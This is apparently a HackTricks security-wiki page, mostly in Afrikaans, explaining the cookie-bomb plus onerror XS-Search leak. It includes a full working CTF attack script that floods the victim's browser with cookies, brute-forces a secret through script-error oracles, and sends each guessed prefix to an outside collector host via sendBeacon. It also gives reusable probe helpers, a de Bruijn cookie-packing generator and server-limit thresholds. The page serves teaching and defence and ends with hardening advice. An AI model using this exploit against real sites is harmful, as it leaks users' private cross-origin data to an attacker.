Cookie Bomb + Onerror XS Leak

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

This technique combines:

  • Cookie bombing: stuf die slagoffer se blaaier met baie/groot cookies vir die target origin sodat daaropvolgende versoeke bediener-/versoekgrense tref (request header size, URL size in redirects, etc.).
  • Error-event oracle: sondeer ’n cross-origin endpoint met ’n

High level idea

  • Vind ’n target endpoint waarvan die gedrag verskil vir twee state wat jy wil toets (bv. search “hit” vs “miss”).
  • Verseker dat die “hit” pad ’n swaar redirect chain of lang URL sal trigger terwyl die “miss” pad kort bly. Blaas versoekheaders op deur baie cookies sodat slegs die “hit” pad die bediener laat misluk met ’n HTTP error (bv. 431/414/400). Die fout keer die onerror event om en word ’n orakel vir XS-Search.

When does this work

  • Jy kan veroorsaak dat die slagoffer se blaaier cookies na die teiken stuur (bv. cookies is SameSite=None of jy kan dit in ’n first-party context instel via ’n popup window.open).
  • Daar is ’n app feature wat jy kan misbruik om arbitrĂȘre cookies te stel (bv. “save preference” endpoints wat gekontroleerde invoernaam/waardes in Set-Cookie omskakel) of om post-auth redirects te maak wat attacker-controlled data in die URL inkorporeer.
  • Die server reageer anders in die twee state en, met opgeblaste headers/URL, kruis een state ’n limiet en stuur ’n foutrespons wat onerror trigger.

Note on server errors used as the oracle

  • 431 Request Header Fields Too Large word algemeen teruggegee wanneer cookies versoekheaders opblaas; 414 URI Too Long of ’n server-spesifieke 400 mag teruggegee word vir lang versoekteikens. Enigeen hiervan lei tot ’n mislukte subresource load en activeer onerror. MDN documents 431 and typical causes like excessive cookies.

Practical example (angstromCTF 2022) Die volgende script (uit ’n publieke writeup) misbruik ’n feature wat die aanvaller toelaat om arbitrĂȘre cookies in te voeg, en laai dan ’n cross-origin search endpoint as ’n script. Wanneer die query korrek is, voer die server ’n redirect uit wat, tesame met die cookie bloat, bedienergrense oorskry en ’n foutstatus teruggee, sodat script.onerror afvuur; anders gebeur niks.

<>'";
<form action="https://sustenance.web.actf.co/s" method="POST">
<input id="f" /><input name="search" value="a" />
</form>
<script>
const $ = document.querySelector.bind(document)
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
let i = 0
const stuff = async (len = 3500) => {
let name = Math.random()
$("form").target = name
let w = window.open("", name)
$("#f").value = "_".repeat(len)
$("#f").name = i++
$("form").submit()
await sleep(100)
}
const isError = async (url) => {
return new Promise((r) => {
let script = document.createElement("script")
script.src = url
script.onload = () => r(false)
script.onerror = () => r(true)
document.head.appendChild(script)
})
}
const search = (query) => {
return isError(
"https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
)
}
const alphabet =
"etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
const url = "//en4u1nbmyeahu.x.pipedream.net/"
let known = "actf{"
window.onload = async () => {
navigator.sendBeacon(url + "?load")
await Promise.all([stuff(), stuff(), stuff(), stuff()])
await stuff(1600)
navigator.sendBeacon(url + "?go")
while (true) {
for (let c of alphabet) {
let query = known + c
if (await search(query)) {
navigator.sendBeacon(url, query)
known += c
break
}
}
}
}
</script>

Waarom die pop-up (window.open)?

  • Moderne browsers blokkeer toenemend third‑party cookies. Deur ’n top‑vlak venster na die target te open maak cookies first‑party sodat Set-Cookie responses vanaf die target sal bly, wat die cookie-bomb stap moontlik maak selfs met third‑party cookie beperkings.

2024–2025 notas oor cookie-beskikbaarheid

  • Chromium-based browsers stuur steeds algemeen third‑party cookies tensy die gebruiker of die site uitskakel, maar Safari en Firefox blokkeer die meeste third‑party cookies standaard. Plan vir albei: (1) gebruik ’n first‑party cookie planting flow (window.open + auto-submit na ’n cookie-setting endpoint) en dan (2) probeer met ’n subresource wat slegs suksesvol is wanneer daardie cookies gestuur word. Indien third‑party cookies geblokkeer word, skuif die probe na ’n same-site konteks (bv., run die oracle in die popup via ’n same-site gadget en exfiltrate die boolean met postMessage of ’n beacon na jou server).

Generiese probe-hulpmiddel As jy reeds ’n manier het om baie cookies op die target origin (first-party) te set, kan jy hierdie minimale oracle hergebruik teen enige endpoint waarvan sukses/faling lei tot verskillende netwerk-uitkomste (status/MIME/redirect):

function probeError(url) {
return new Promise((resolve) => {
const s = document.createElement('script');
s.src = url;
s.onload = () => resolve(false);  // loaded successfully
s.onerror = () => resolve(true);  // failed (e.g., 4xx/5xx, wrong MIME, blocked)
document.head.appendChild(s);
});
}

Alternatiewe tag oracle (stylesheet)

function probeCSS(url) {
return new Promise((resolve) => {
const l = document.createElement('link');
l.rel = 'stylesheet';
l.href = url;
l.onload = () => resolve(false);
l.onerror = () => resolve(true);
document.head.appendChild(l);
});
}

Gevorderd: de Bruijn–based cookie packing (CTF-proven)

  • Wanneer die app jou toelaat om groot cookie values te beheer, kan jy raaiskote doeltreffend pak deur ’n de Bruijn sequence aan elke probe by te voeg. Dit hou per-probe overhead klein terwyl dit verseker dat die heavy branch konsekwent swaarder is slegs vir die regte prefix. Voorbeeldgenerator vir |ÎŁ| symbols van lengte n (fits in a cookie value):
const ALPH = '_{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
function deBruijn(k, n, alphabet=ALPH){
const a = Array(k * n).fill(0), seq=[];
(function db(t,p){
if(t>n){ if(n%p===0) for(let j=1;j<=p;j++) seq.push(a[j]); }
else { a[t]=a[t-p]; db(t+1,p); for(let j=a[t-p]+1;j<k;j++){ a[t]=j; db(t+1,t);} }
})(1,1);
return seq.map(i=>alphabet[i]).join('');
}
  • Idee in praktyk: stel meerdere cookies in waarvan die waardes prefix + deBruijn(k,n) is. Net wanneer die getoetste prefix korrek is neem die bediener die swaar pad (bv. ekstra redirect wat die lang cookie of URL weerspieĂ«l), wat, gekombineer met cookie-bloat, perke oorskry en onerror aanskakel. Sien ’n LA CTF 2024 publieke solver wat hierdie benadering gebruik.

Wenke om die orakel te bou

  • Forceer die “positiewe” toestand om swaarder te wees: ketting ’n ekstra redirect slegs wanneer die predikaat waar is, of laat die redirect-URL onbeperkte gebruiker-invoer weerspieĂ«l sodat dit groei met die geraamde prefix.
  • Vergroot headers: herhaal cookie bombing totdat ’n konsekwente fout op die “sware” pad waargeneem word. Bedieners stel gewoonlik grense op header-grootte en sal vroeĂ«r misluk wanneer baie cookies teenwoordig is.
  • Stabiliseer: vuur veelvuldige parallelle cookie-set operasies en probeer herhaaldelik om timing- en caching-ruis te gemiddeld.
  • Kraak caches en vermy pooling-artfakte: voeg ’n ewekansige #fragment of ?r= by probe-URLs, en verkies unieke venstername wanneer jy window.open lusse gebruik.
  • Alternatiewe subresources: as <script> geblokkeer word, probeer <link rel=stylesheet> of <img>. Die onload/onerror boolean is die orakel; inhoud hoef nooit geparse te word nie.

Algemene header/URL perke (bruikbare drempels)

  • Reverse proxies/CDNs en bedieners dwing verskillende grense af. Vanaf Oktober 2025 dokumenteer Cloudflare 128 KB totaal vir request headers (en 16 KB URL) aan die edge, so jy mag meer/groter cookies nodig hĂȘ wanneer teikens agter dit sit. Ander stacke (bv. Apache via LimitRequestFieldSize) is dikwels nader aan ~8 KB per header-lyn en sal vroeĂ«r foute tref. Pas bomb-grootte ooreenkomstig aan. [Cloudflare docs show the 128 KB header limit.]

Verwante XS-Search truuks

  • URL-lengte gebaseerde orakels (geen cookies nodig) kan gekombineer of plaasvervangend gebruik word wanneer jy ’n baie lang request target kan afdwing:

URL Max Length - Client Side

Verdediging en verharding

  • Maak sukses/mislukking reaksies ononderskeibaar:
  • Vermy voorwaardelike redirects of groot verskille in response-grootte tussen toestande. Retourneer dieselfde status, dieselfde content-type, en soortgelyke body-lengte ongeag toestand.
  • Blokkeer cross-site subresource probes:
  • SameSite cookies: stel sensitiewe cookies op SameSite=Lax of Strict sodat subresource versoeke soos
  • Fetch Metadata: handhaaf ’n Resource Isolation Policy om cross-site subresource loads te weier (bv. as Sec-Fetch-Site != same-origin/same-site).
  • Cross-Origin-Resource-Policy (CORP): stel CORP: same-origin (of ten minste same-site) vir eindpunte wat nie bedoel is om as cross-origin subresources ingebed te word nie.
  • X-Content-Type-Options: nosniff en korrekte Content-Type op JSON/HTML eindpunte om load-as-script rariteite te vermy.
  • Verminder header/URL amplifikasie:
  • Beperk die aantal/grootte van cookies wat gestel word; saniteer funksies wat ewekansige formvelde in Set-Cookie omskep.
  • Normaliseer of trunker weerkaatste data in redirects; vermy die ingebed wees van aanvaller-beheerde lang stringe in Location URLs.
  • Hou bedienergrense konsekwent en faal uniform (vermijd spesiale foutbladsye slegs vir een tak).

Aantekeninge

  • Hierdie klas aanvalle word breed bespreek as “Error Events” XS-Leaks. Die cookie-bomb stap is net ’n gerieflike manier om slegs een tak oor bedienergrense te druk, wat ’n betroubare boolean-orakel produseer.

References

  • XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
  • MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
  • LA CTF 2024 writeup note showing a de Bruijn cookie-bomb oracle: https://gist.github.com/arkark/5787676037003362131f30ca7c753627
  • Cloudflare edge limits (URLs 16 KB, request headers 128 KB): https://developers.cloudflare.com/fundamentals/reference/connection-limits/

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks